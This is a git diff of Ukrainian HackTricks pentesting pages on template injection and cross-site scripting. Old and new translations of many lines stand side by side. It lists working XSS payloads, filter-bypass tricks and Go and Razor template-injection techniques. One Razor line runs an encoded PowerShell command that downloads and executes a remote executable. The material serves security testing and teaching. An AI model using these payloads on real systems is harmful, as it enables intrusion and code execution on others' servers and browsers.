> Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку юнікоду, необов'язкове інтегроване середовище виконання в пісочниці, широко використовується і ліцензований за BSD.
* `{{7*7}} = Помилка`
* `${7*7} = ${7*7}`
@ -850,12 +886,20 @@ ${x}
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
### Інші Python
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
* Більше інформації в [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Razor (.Net)
* `@(2+2) <= Успіх`
* `@() <= Успіх`
* `@("{{code}}") <= Успіх`
* `@ <=Успіх`
* `@ <= Успіх`
* `@{} <= ПОМИЛКА!`
* `@{ <= ПОМИЛКА!`
* `@(1+2)`
@ -863,7 +907,7 @@ ${x}
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
Метод .NET `System.Diagnostics.Process.Start` може бути використаний для запуску будь-якого процесу на сервері і, таким чином, створення веб-оболонки. Ви можете знайти приклад вразливого веб-додатку за адресою [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
Метод .NET `System.Diagnostics.Process.Start` може бути використаний для запуску будь-якого процесу на сервері і, таким чином, створення веб-оболонки. Ви можете знайти приклад вразливого веб-додатку в [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Більше інформації**
@ -895,19 +939,23 @@ ${x}
```
### SSTI в GO
У шаблонному движку Go підтвердження його використання можна здійснити за допомогою специфічних пейлоадів:
У шаблонному двигуні Go підтвердження його використання можна здійснити за допомогою специфічних пейлоадів:
* `{{ . }}`: Відкриває структуру даних. Наприклад, якщо передано об'єкт з атрибутом `Password`, `{{ .Password }}` може його розкрити.
* `{{printf "%s" "ssti" }}`: Очікується, що відобразить рядок "ssti".
* `{{html "ssti"}}`, `{{js "ssti"}}`: Ці пейлоади повинні повернути "ssti" без додавання "html" або "js". Додаткові директиви можна дослідити в документації Go [тут](https://golang.org/pkg/text/template).
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
**Експлуатація XSS**
З пакетом `text/template` XSS може бути простим шляхом безпосереднього вставлення пейлоаду. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{"<script>alert(1)</script>"}}` призводить до `&lt;script&gt;alert(1)&lt;/script&gt;`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
**Експлуатація RCE**
Експлуатація RCE суттєво відрізняється між `html/template` та `text/template`. Модуль `text/template` дозволяє викликати будь-яку публічну функцію безпосередньо (використовуючи значення “call”), що не дозволено в `html/template`. Документація для цих модулів доступна [тут для html/template](https://golang.org/pkg/html/template/) та [тут для text/template](https://golang.org/pkg/text/template/).
Експлуатація RCE суттєво відрізняється між `html/template` та `text/template`. Модуль `text/template` дозволяє безпосередньо викликати будь-яку публічну функцію (використовуючи значення “call”), що не дозволено в `html/template`. Документація для цих модулів доступна [тут для html/template](https://golang.org/pkg/html/template/) та [тут для text/template](https://golang.org/pkg/text/template/).
Для RCE через SSTI в Go можна викликати методи об'єкта. Наприклад, якщо наданий об'єкт має метод `System`, що виконує команди, його можна експлуатувати як `{{ .System "ls" }}`. Зазвичай доступ до вихідного коду є необхідним для експлуатації цього, як у наведеному прикладі:
```go
@ -968,8 +1016,8 @@ return string(out)
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
</details>
{% endhint %}

View file

@ -1,6 +1,6 @@
# XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
@ -11,27 +11,27 @@
1. Перевірте, чи **будь-яке значення, яке ви контролюєте** (_параметри_, _шлях_, аголовки_?, уки_?) **відображається** в HTML або **використовується** кодом **JS**.
2. **Знайдіть контекст**, де воно відображається/використовується.
3. Якщо **відображається**
1. Перевірте, **які символи ви можете використовувати** і, залежно від цього, підготуйте payload:
1. Перевірте, **які символи ви можете використовувати** і в залежності від цього підготуйте payload:
1. У **сирому HTML**:
1. Чи можете ви створити нові HTML теги?
2. Чи можете ви використовувати події або атрибути, що підтримують протокол `javascript:`?
3. Чи можете ви обійти захист?
4. Чи інтерпретується HTML контент будь-яким клієнтським JS двигуном (_AngularJS_, _VueJS_, _Mavo_...), ви могли б зловживати [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи могли б ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи можете ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
2. Всередині **HTML тегу**:
1. Чи можете ви вийти в контекст сирого HTML?
1. Чи можете ви вийти в сирий HTML контекст?
2. Чи можете ви створити нові події/атрибути для виконання JS коду?
3. Чи підтримує атрибут, в якому ви застрягли, виконання JS?
4. Чи можете ви обійти захист?
3. Всередині **JavaScript коду**:
1. Чи можете ви втекти з тегу `<script>`?
2. Чи можете ви втекти з рядка і виконати різний JS код?
2. Чи можете ви втекти з рядка і виконати інший JS код?
3. Чи ваші введення в шаблонних літералах \`\`?
4. Чи можете ви обійти захист?
4. Javascript **функція**, що **виконується**
1. Ви можете вказати ім'я функції для виконання. наприклад: `?callback=alert(1)`
4. Якщо **використовується**:
1. Ви могли б експлуатувати **DOM XSS**, зверніть увагу на те, як контролюється ваше введення і чи **використовується ваше контрольоване введення будь-яким sink.**
1. Ви могли б експлуатувати **DOM XSS**, зверніть увагу, як контролюється ваше введення і чи використовується ваше **контрольоване введення будь-яким sink.**
Коли ви працюєте над складним XSS, вам може бути цікаво дізнатися про:
@ -49,7 +49,7 @@
## Контексти
Коли ви намагаєтеся експлуатувати XSS, перше, що вам потрібно знати, це **де відображається ваше введення**. Залежно від контексту, ви зможете виконати довільний JS код різними способами.
Коли ви намагаєтеся експлуатувати XSS, перше, що вам потрібно знати, це **де відображається ваше введення**. В залежності від контексту, ви зможете виконати довільний JS код різними способами.
### Сирий HTML
@ -61,9 +61,9 @@
Якщо ваше введення відображається всередині значення атрибута тегу, ви могли б спробувати:
1. **Втекти з атрибута і з тегу** (тоді ви будете в сирому HTML) і створити новий HTML тег для зловживання: `"><img [...]`
2. Якщо ви **можете втекти з атрибута, але не з тегу** (`>` закодовано або видалено), залежно від тегу ви могли б **створити подію**, яка виконує JS код: `" autofocus onfocus=alert(1) x="`
3. Якщо ви **не можете втекти з атрибута** (`"` закодовано або видалено), тоді залежно від **якого атрибута** ваше значення відображається, **якщо ви контролюєте все значення або лише частину**, ви зможете зловживати цим. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть. Інший цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:`, щоб виконати довільний код: **`href="javascript:alert(1)"`**
4. Якщо ваше введення відображається всередині "**незловживаних тегів**", ви могли б спробувати трюк з **`accesskey`**, щоб зловживати вразливістю (вам знадобиться певний вид соціальної інженерії для експлуатації цього): **`" accesskey="x" onclick="alert(1)" x="`**
2. Якщо ви **можете втекти з атрибута, але не з тегу** (`>` закодовано або видалено), в залежності від тегу ви могли б **створити подію**, яка виконує JS код: `" autofocus onfocus=alert(1) x="`
3. Якщо ви **не можете втекти з атрибута** (`"` закодовано або видалено), тоді в залежності від **якого атрибута** ваше значення відображається, **якщо ви контролюєте все значення або лише частину**, ви зможете зловживати цим. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код при натисканні. Інший цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:`, щоб виконати довільний код: **`href="javascript:alert(1)"`**
4. Якщо ваше введення відображається всередині "**незловживаних тегів**", ви могли б спробувати трюк з **`accesskey`**, щоб зловживати вразливістю (вам знадобиться якийсь вид соціальної інженерії для експлуатації цього): **`" accesskey="x" onclick="alert(1)" x="`**
Дивний приклад Angular, що виконує XSS, якщо ви контролюєте ім'я класу:
```html
@ -71,16 +71,16 @@
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
### Inside JavaScript code
### Всередині коду JavaScript
В цьому випадку ваш ввід відображається між **`<script> [...] </script>`** тегами HTML-сторінки, всередині `.js` файлу або всередині атрибута, використовуючи **`javascript:`** протокол:
У цьому випадку ваш ввід відображається між **`<script> [...] </script>`** тегами HTML-сторінки, всередині `.js` файлу або всередині атрибута, використовуючи **`javascript:`** протокол:
* Якщо відображається між **`<script> [...] </script>`** тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести `</script>` і вийти з цього контексту. Це працює, тому що **браузер спочатку розбирає HTML теги** і лише потім вміст, тому він не помітить, що ваш введений `</script>` тег знаходиться всередині HTML коду.
* Якщо відображається між **`<script> [...] </script>`** тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести `</script>` і вийти з цього контексту. Це працює, тому що **браузер спочатку парсить HTML-теги** і лише потім вміст, тому він не помітить, що ваш введений тег `</script>` знаходиться всередині HTML-коду.
* Якщо відображається **всередині JS рядка** і останній трюк не працює, вам потрібно буде **вийти** з рядка, **виконати** ваш код і **відновити** JS код (якщо є помилка, він не буде виконаний):
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
* Якщо відображається всередині шаблонних літералів, ви можете **вбудувати JS вирази** за допомогою синтаксису `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
* Якщо відображається всередині шаблонних літералів, ви можете **вбудувати JS вирази**, використовуючи синтаксис `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
* **Unicode кодування** працює для написання **дійсного javascript коду**:
```javascript
\u{61}lert(1)
@ -98,9 +98,9 @@ Javascript Hoisting посилається на можливість **огол
### Javascript Function
Кілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в реальному житті, це щось на зразок: `?callback=callbackFunc`.
Кілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в реальному житті, це щось на кшталт: `?callback=callbackFunc`.
Хороший спосіб дізнатися, чи намагається виконати щось, що надано безпосередньо користувачем, це **змінити значення параметра** (наприклад, на 'Vulnerable') і подивитися в консолі на помилки, такі як:
Добрий спосіб дізнатися, чи щось, надане безпосередньо користувачем, намагається виконатися, це **змінити значення параметра** (наприклад, на 'Vulnerable') і подивитися в консолі на помилки, такі як:
![](<../../.gitbook/assets/image (711).png>)
@ -156,7 +156,7 @@ parentElement
## Впровадження всередині сирого HTML
Коли ваш ввід відображається **всередині HTML-сторінки** або ви можете втекти і впровадити HTML-код у цьому контексті, **перше**, що вам потрібно зробити, це перевірити, чи можете ви зловживати `<`, щоб створити нові теги: просто спробуйте **відобразити** цей **символ** і перевірте, чи він **HTML-кодований** або **видалений**, або чи він **відображається без змін**. **Тільки в останньому випадку ви зможете експлуатувати цей випадок**.\
Для цих випадків також **майте на увазі** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
Для цих випадків також **пам'ятайте про** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Примітка: HTML-коментар може бути закритий за допомогою\*\*\*\***** ****`-->`**** ****або \*\*\*\*****`--!>`**_
У цьому випадку, якщо не використовується чорний/білий список, ви можете використовувати пейлоади, такі як:
@ -165,12 +165,12 @@ _**Примітка: HTML-коментар може бути закритий з
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
```
Але, якщо використовується чорний/білий список тегів/атрибутів, вам потрібно буде **виконати брутфорс, які теги** ви можете створити.\
Коли ви **знайдете, які теги дозволені**, вам потрібно буде **виконати брутфорс атрибутів/подій** всередині знайдених дійсних тегів, щоб побачити, як ви можете атакувати контекст.
Але, якщо використовується чорний/білий список тегів/атрибутів, вам потрібно буде **вибрати, які теги** ви можете створити.\
Коли ви **знайдете, які теги дозволені**, вам потрібно буде **вибрати атрибути/події** всередині знайдених дійсних тегів, щоб побачити, як ви можете атакувати контекст.
### Брутфорс тегів/подій
### Вибір тегів/подій
Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливий WAF. Коли ви виявите, які теги ви можете використовувати, ви можете **виконати брутфорс усіх подій** за допомогою дійсних тегів (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше).
Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливого WAF. Коли ви дізнаєтеся, які теги ви можете використовувати, ви можете **вибрати всі події** за допомогою дійсних тегів (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше).
### Користувацькі теги
@ -243,7 +243,7 @@ onerror=alert`1`
```
Останній використовує 2 символи юнікоду, які розширюються до 5: telsr\
Більше таких символів можна знайти [тут](https://www.unicode.org/charts/normalization/).\
Щоб перевірити, в які символи вони розкладаються, перевірте [тут](https://www.compart.com/en/unicode/U+2121).
Щоб перевірити, в які символи розкладаються, перевірте [тут](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
@ -251,19 +251,19 @@ onerror=alert`1`
### Неможливо - Dangling Markup
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Dangling Markup**](../dangling-markup-html-scriptless-injection/), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Danglig Markup**](../dangling-markup-html-scriptless-injection/), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
## Впровадження всередині HTML-тегу
### Всередині тегу/вихід з значення атрибута
Якщо ви **всередині HTML-тегу**, перше, що ви можете спробувати, це **вийти** з тегу та використати деякі з технік, згаданих у [попередньому розділі](./#injecting-inside-raw-html), щоб виконати JS-код.\
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі корисні дані, як (_зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу_):
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі payload, як (_зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
```
**Стилі подій**
**Стиль подій**
```python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
@ -275,12 +275,12 @@ onerror=alert`1`
```
### Всередині атрибута
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, який атрибут** відображає ваше значення **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть.\
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, в якому атрибуті** ваше значення відображається **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть.\
Ще один цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:` для виконання довільного коду: **`href="javascript:alert(1)"`**
**Обхід всередині події за допомогою HTML кодування/URL кодування**
**HTML закодовані символи** всередині значення атрибутів HTML тегів **декодуються під час виконання**. Тому щось на зразок наступного буде дійсним (payload виділено жирним): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Повернутися </a>`
**HTML закодовані символи** всередині значення атрибутів HTML тегів **декодуються під час виконання**. Тому щось на зразок наступного буде дійсним (payload виділено жирним): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Повернутися назад </a>`
Зверніть увагу, що **будь-яке HTML кодування є дійсним**:
```javascript
@ -391,10 +391,10 @@ _**У цьому випадку трюк з HTML-кодуванням та ко
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
{% endcontent-ref %}
### обхід обробників подій
### про обхід обробників подій
По-перше, перевірте цю сторінку ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) для корисних **"on" обробників подій**.\
У разі, якщо існує якийсь чорний список, який заважає вам створювати ці обробники подій, ви можете спробувати наступні обходи:
У разі, якщо існує якийсь чорний список, що заважає вам створювати ці обробники подій, ви можете спробувати наступні обходи:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -416,7 +416,7 @@ Android: %09 %20 %28 %2C %3B
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
```
І в **meta тегах**:
І в **meta tags**:
```html
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
@ -428,31 +428,31 @@ Android: %09 %20 %28 %2C %3B
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**Payload XSS буде щось на зразок цього: `" accesskey="x" onclick="alert(1)" x="`**
**Payload XSS буде виглядати приблизно так:** `" accesskey="x" onclick="alert(1)" x="`
### Обхід чорного списку
Кілька трюків з використанням різного кодування вже були розкриті в цьому розділі. Поверніться **назад, щоб дізнатися, де ви можете використовувати:**
Кілька трюків з використанням різного кодування вже були представлені в цьому розділі. Поверніться **назад, щоб дізнатися, де ви можете використовувати:**
* **HTML кодування (HTML теги)**
* **Unicode кодування (може бути дійсним JS кодом):** `\u0061lert(1)`
* **Юнікод кодування (може бути дійсним JS кодом):** `\u0061lert(1)`
* **URL кодування**
* **Шістнадцяткове та вісімкове кодування**
* **кодування даних**
**Обходи для HTML тегів та атрибутів**
Прочитайте [Обходи чорного списку попереднього розділу](./#blacklist-bypasses).
Читайте [Обходи чорного списку попереднього розділу](./#blacklist-bypasses).
**Обходи для JavaScript коду**
Прочитайте [чорний список обходів JavaScript наступного розділу](./#javascript-bypass-blacklists-techniques).
Читайте [чорний список обходів JavaScript наступного розділу](./#javascript-bypass-blacklists-techniques).
### CSS-Гаджети
Якщо ви знайшли **XSS у дуже маленькій частині** вебу, яка вимагає певної взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **модифікувати простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
Наприклад, ви могли б додати деяке стилювання в елемент, як: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Наприклад, ви могли б додати деяке стилювання в елемент, наприклад: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Але, якщо WAF фільтрує атрибут стилю, ви можете використовувати CSS Стилізаційні Гаджети, тому, якщо ви знайдете, наприклад
@ -470,11 +470,11 @@ Android: %09 %20 %28 %2C %3B
## Впровадження всередині JavaScript коду
У цих випадках ваш **вхід** буде **відображено всередині JS коду** файлу `.js` або між тегами `<script>...</script>` або між HTML подіями, які можуть виконувати JS код, або між атрибутами, які приймають протокол `javascript:`.
У цьому випадку ваш **вхід** буде **відображено всередині JS коду** файлу `.js` або між тегами `<script>...</script>` або між HTML подіями, які можуть виконувати JS код, або між атрибутами, які приймають протокол `javascript:`.
### Вихід з \<script> тегу
Якщо ваш код вставлений у `<script> [...] var input = 'відображені дані' [...] </script>`, ви могли б легко **вийти, закривши тег `<script>`**:
Якщо ваш код вставлений у `<script> [...] var input = 'відображені дані' [...] </script>`, ви можете легко **вийти, закривши `<script>`** тег:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
@ -511,7 +511,7 @@ loop``````````````
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
```
### Unicode Encode JS execution
### Unicode Encode JS виконання
```javascript
\u{61}lert(1)
\u0061lert(1)
@ -563,7 +563,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**JavaScript нові рядки (з** [**JavaScript новий рядок**](./#javascript-new-lines) **трик)**
**Нові рядки JavaScript (з** [**трюка нових рядків JavaScript**](./#javascript-new-lines) **)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
@ -735,8 +735,8 @@ top[8680439..toString(30)](1)
````
## **DOM вразливості**
Є **JS код**, який використовує **неконтрольовані дані, що контролюються зловмисником**, такі як `location.href`. Зловмисник може зловживати цим, щоб виконати довільний JS код.\
**Через розширення пояснення** [**DOM вразливостей, воно було переміщене на цю сторінку**](dom-xss.md)**:**
Є **JS код**, який використовує **небезпечні дані, контрольовані зловмисником**, такі як `location.href`. Зловмисник може зловживати цим для виконання довільного JS коду.\
**Через розширення пояснення** [**DOM вразливостей, воно було переміщено на цю сторінку**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
@ -749,7 +749,7 @@ top[8680439..toString(30)](1)
### Cookie XSS
Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай є self-XSS. Однак, якщо ви знайдете **вразливий піддомен до XSS**, ви можете зловживати цим XSS, щоб вставити cookie в увесь домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing:
Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай self-XSS. Однак, якщо ви знайдете **вразливий піддомен до XSS**, ви можете зловживати цим XSS, щоб вставити cookie в цілий домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing:
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
@ -763,9 +763,9 @@ top[8680439..toString(30)](1)
### Віддзеркалення сесії
Якщо ви знайдете деякі self XSS, а веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
Якщо ви знайдете деяке self XSS, а веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
Ви могли б змусити **адміністратора активувати ваш self XSS** і вкрасти його cookies/сесію.
Ви могли б змусити **адміністратора активувати ваше self XSS** і вкрасти його cookies/сесію.
## Інші обходи
@ -784,7 +784,7 @@ top[8680439..toString(30)](1)
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
Пара "Key","Value" буде відображена назад ось так:
Пар "Ключ","Значення" буде відображено назад ось так:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
@ -824,7 +824,7 @@ document['default'+'View'][`\u0061lert`](3)
Якщо ви виявите, що можете **ін'єктувати заголовки в відповіді 302 Redirect**, ви можете спробувати **змусити браузер виконати довільний JavaScript**. Це **не тривіально**, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо код статусу HTTP-відповіді - 302, тому просто корисний вантаж для міжсайтового скриптингу не має сенсу.
У [**цьому звіті**](https://www.gremwell.com/firefox-xss-302) та [**цьому**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) ви можете прочитати, як ви можете протестувати кілька протоколів у заголовку Location і подивитися, чи дозволяє який-небудь з них браузеру перевірити та виконати вантаж XSS у тілі.\
У [**цьому звіті**](https://www.gremwell.com/firefox-xss-302) та [**цьому**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) ви можете прочитати, як ви можете протестувати кілька протоколів у заголовку Location і подивитися, чи дозволяє якийсь з них браузеру перевірити та виконати вантаж XSS у тілі.\
Відомі протоколи: `mailto://`, `//x:1/`, `ws://`, `wss://`, _порожній заголовок Location_, `resource://`.
### Тільки літери, цифри та крапки
@ -833,11 +833,11 @@ document['default'+'View'][`\u0061lert`](3)
### Дійсні `<script>` Content-Types для XSS
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви спробуєте завантажити скрипт з **content-type**, таким як `application/octet-stream`, Chrome видасть наступну помилку:
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви намагаєтеся завантажити скрипт з **content-type**, таким як `application/octet-stream`, Chrome видасть наступну помилку:
> Відмовлено у виконанні скрипта з [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') через те, що його MIME-тип (application/octet-stream) не є виконуваним, і строгий контроль MIME-типів увімкнено.
> Відмовлено у виконанні скрипту з [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') через те, що його MIME-тип (application/octet-stream) не є виконуваним, і строгий контроль MIME-типів увімкнено.
Єдиними **Content-Type**ами, які підтримують Chrome для виконання **завантаженого скрипта**, є ті, що містяться в константі **`kSupportedJavascriptTypes`** з [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
